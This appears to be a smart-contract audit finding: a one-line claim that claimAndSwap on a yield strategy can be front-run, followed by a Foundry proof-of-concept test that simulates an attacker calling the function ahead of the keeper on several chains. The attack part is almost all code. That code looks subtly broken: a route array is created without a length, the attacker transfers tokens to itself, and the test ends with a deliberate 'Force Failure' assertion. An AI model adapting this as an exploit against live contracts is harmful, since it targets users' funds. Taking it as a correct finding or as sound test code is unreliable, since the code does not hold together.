Malicious user can front-run the claimAndSwap call to manipulate the swap conditions, causing a loss of gas to the keeper or admin executing the function, alongside setting incorrect parameters or indices for the assets involved in the swap, potentially leading to misallocation or mispricing of assets within the strategy.
function testFrontRunning(uint256 _amount) public {
vm.assume(_amount > minFuzzAmount && _amount < maxFuzzAmount);
mintAndDepositIntoStrategy(strategy, user, _amount);
console.log("Amount deposited:", _amount);
console.log("Total Assets:", strategy.totalAssets());
console.log("Claimable:", strategy.claimableBalance());
console.log("Unexchanged Balance:", strategy.unexchangedBalance());
console.log(
"Exchangable Balance:",
transmuter.getExchangedBalance(address(strategy))
);
console.log("Total Unexchanged:", transmuter.totalUnexchanged());
console.log("Total Buffered:", transmuter.totalBuffered());
assertApproxEq(strategy.totalAssets(), _amount, _amount / 500);
vm.roll(1);
deployMockYieldToken();
console.log("Deployed Mock Yield Token");
addMockYieldToken();
console.log("Added Mock Yield Token");
depositToAlchemist(_amount);
console.log("Deposited to Alchemist");
airdropToMockYield(_amount / 2);
console.log("Airdropped to Mock Yield");
vm.prank(whale);
asset.transfer(user2, _amount);
vm.prank(user2);
asset.approve(address(transmuter), _amount);
vm.prank(user2);
transmuter.deposit(_amount / 2, user2);
vm.roll(1);
harvestMockYield();
vm.prank(address(transmuterKeeper));
transmuterBuffer.exchange(address(underlying));
skip(7 days);
vm.roll(5);
vm.prank(user2);
transmuter.deposit(_amount / 2, user2);
vm.prank(address(transmuterKeeper));
transmuterBuffer.exchange(address(underlying));
console.log("Skip 7 days");
console.log("Claimable:", strategy.claimableBalance());
console.log("Unexchanged Balance:", strategy.unexchangedBalance());
console.log(
"Exchangable Balance:",
transmuter.getExchangedBalance(address(strategy))
);
console.log("Total Unexchanged:", transmuter.totalUnexchanged());
console.log("Total Buffered:", transmuter.totalBuffered());
assertGt(strategy.claimableBalance(), 0, "!claimableBalance");
assertEq(strategy.totalAssets(), _amount);
uint256 claimable = strategy.claimableBalance();
uint256 frontRunnerAmount = claimable;
address frontRunner = address(0x123);
vm.startPrank(frontRunner);
asset.transfer(frontRunner, frontRunnerAmount);
asset.approve(address(transmuter), frontRunnerAmount);
transmuter.deposit(frontRunnerAmount, frontRunner);
if (block.chainid == 1) {
IStrategyInterface(address(strategy)).claimAndSwap(
frontRunnerAmount,
(frontRunnerAmount * 103) / 100,
0
);
} else if (block.chainid == 10) {
IVeloRouter.route[] memory veloRoute = new IVeloRouter.route[]();
veloRoute[0] = IVeloRouter.route(
address(underlying),
address(asset),
true,
0xF1046053aa5682b4F9a81b5481394DA16BE5FF5a
);
IStrategyInterfaceVelo(address(strategy)).claimAndSwap(
frontRunnerAmount,
(frontRunnerAmount * 103) / 100,
veloRoute
);
} else if (block.chainid == 42161) {
IRamsesRouter.route[]
memory ramsesRoute = new IRamsesRouter.route[](2);
address eFrax = 0x178412e79c25968a32e89b11f63B33F733770c2A;
ramsesRoute[0] = IRamsesRouter.route(
address(underlying),
eFrax,
true
);
ramsesRoute[1] = IRamsesRouter.route(eFrax, address(asset), true);
IStrategyInterfaceRamses(address(strategy)).claimAndSwap(
frontRunnerAmount,
(frontRunnerAmount * 103) / 100,
ramsesRoute
);
} else {
revert("Chain ID not supported");
}
vm.stopPrank();
vm.prank(keeper);
if (block.chainid == 1) {
IStrategyInterface(address(strategy)).claimAndSwap(
claimable,
(claimable * 103) / 100,
0
);
} else if (block.chainid == 10) {
IVeloRouter.route[] memory veloRoute = new IVeloRouter.route[]();
veloRoute[0] = IVeloRouter.route(
address(underlying),
address(asset),
true,
0xF1046053aa5682b4F9a81b5481394DA16BE5FF5a
);
IStrategyInterfaceVelo(address(strategy)).claimAndSwap(
claimable,
(claimable * 103) / 100,
veloRoute
);
} else if (block.chainid == 42161) {
IRamsesRouter.route[]
memory ramsesRoute = new IRamsesRouter.route[](2);
address eFrax = 0x178412e79c25968a32e89b11f63B33F733770c2A;
ramsesRoute[0] = IRamsesRouter.route(
address(underlying),
eFrax,
true
);
ramsesRoute[1] = IRamsesRouter.route(eFrax, address(asset), true);
IStrategyInterfaceRamses(address(strategy)).claimAndSwap(
claimable,
(claimable * 103) / 100,
ramsesRoute
);
} else {
revert("Chain ID not supported");
}
console.log("Claimable:", strategy.claimableBalance());
console.log("Unexchanged Balance:", strategy.unexchangedBalance());
console.log(
"Exchangable Balance:",
transmuter.getExchangedBalance(address(strategy))
);
console.log("Total Unexchanged:", transmuter.totalUnexchanged());
console.log("Total Assets in Strategy:", strategy.totalAssets());
console.log(
"Free Assets in Strategy:",
asset.balanceOf(address(strategy))
);
console.log(
"Underlying in Strategy:",
underlying.balanceOf(address(strategy))
);
vm.prank(keeper);
(uint256 profit, uint256 loss) = strategy.report();
assertEq(strategy.claimableBalance(), 0, "!claimableBalance");
assertGt(strategy.totalAssets(), _amount, "!totalAssets");
assertEq(
strategy.totalAssets(),
strategy.claimableBalance(),
"Force Failure"
);
}